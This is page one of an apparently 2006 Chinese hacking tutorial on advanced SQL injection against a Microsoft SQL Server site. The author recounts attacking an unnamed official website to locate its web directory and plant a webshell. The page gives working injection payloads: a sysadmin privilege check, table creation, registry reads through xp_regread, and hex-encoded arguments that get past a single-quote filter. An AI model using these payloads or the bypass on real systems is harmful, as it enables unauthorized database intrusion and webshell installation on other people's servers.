WEB开发网
开发学院网络安全黑客技术 SQL注入高级技巧nowthk篇 阅读

SQL注入高级技巧nowthk篇

 2006-07-04 20:31:30 来源:WEB开发网   
核心提示:我的目的主要是取得网站的目录,当然了,网站和mssql数据库在一台服务器上,权限DB_owner,SQL注入高级技巧nowthk篇,在某官网发现了一个注点,一个’号提示"xxxxxxxxxx’0’’出现错误 " ,这时我们可以想到再用declare函数

我的目的主要是取得网站的目录,当然了,网站和mssql数据库在一台服务器上,权限DB_owner。

在某官网发现了一个注点,一个’号提示"xxxxxxxxxx’0’’出现错误 " ,经过初步的分析是把单引号,直接转换成了0’,所以如果用工具肯定注入不了,实践证明工具不行,但能检测出来其权限为:DB_owner,手工检测的方法无非是: and 1=(select is_isvrolemember(’sysadmin’))这是简单检测系统权限。还好只是对单引号有限制,其它符号没有限制。不过这一点确实已经够麻烦的了。

我们的目的是检测网站目录在什么地方,如果找到的话,直接差异备份数据库,取得webshell。

首先提取IIS设置初期,网站目录在注册表中的位置,然后再暴出来。

建一个表xy,;create table xy(xy1 nvarchar(256) null),然后网表里插入其值,语句如下: 
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’,@result output insert into xy (xy1) values(@result)

由于对’单引号的转换,所以上面的命令肯定成功不了,这时我们可以想到再用declare函数,一开始我的做法为把 ’HKEY_LOCAL_MACHINE’和 ’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’和’/’,这3个数据分别附于3个变量,这样语句构成为:
;DECLARE @a varchar(255) select @a=0x484b45595f4c4f43414c5f4d414348494e45 DECLARE @b varchar(255) select @b=0x53595354454d5c434f4e54524f4c5365743030315c53657276696365735c57335356435c506172616d65746572735c5669727475616c20526f6f7473 DECLARE @c varchar(255) select @c=0x2f DECLARE @result varchar(255) exec master.dbo.xp_regread @a,@b,@c,@result output insert xy(xy1) values(@result)--

1 2 3 4 5  下一页

Tags:SQL 注入 高级

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接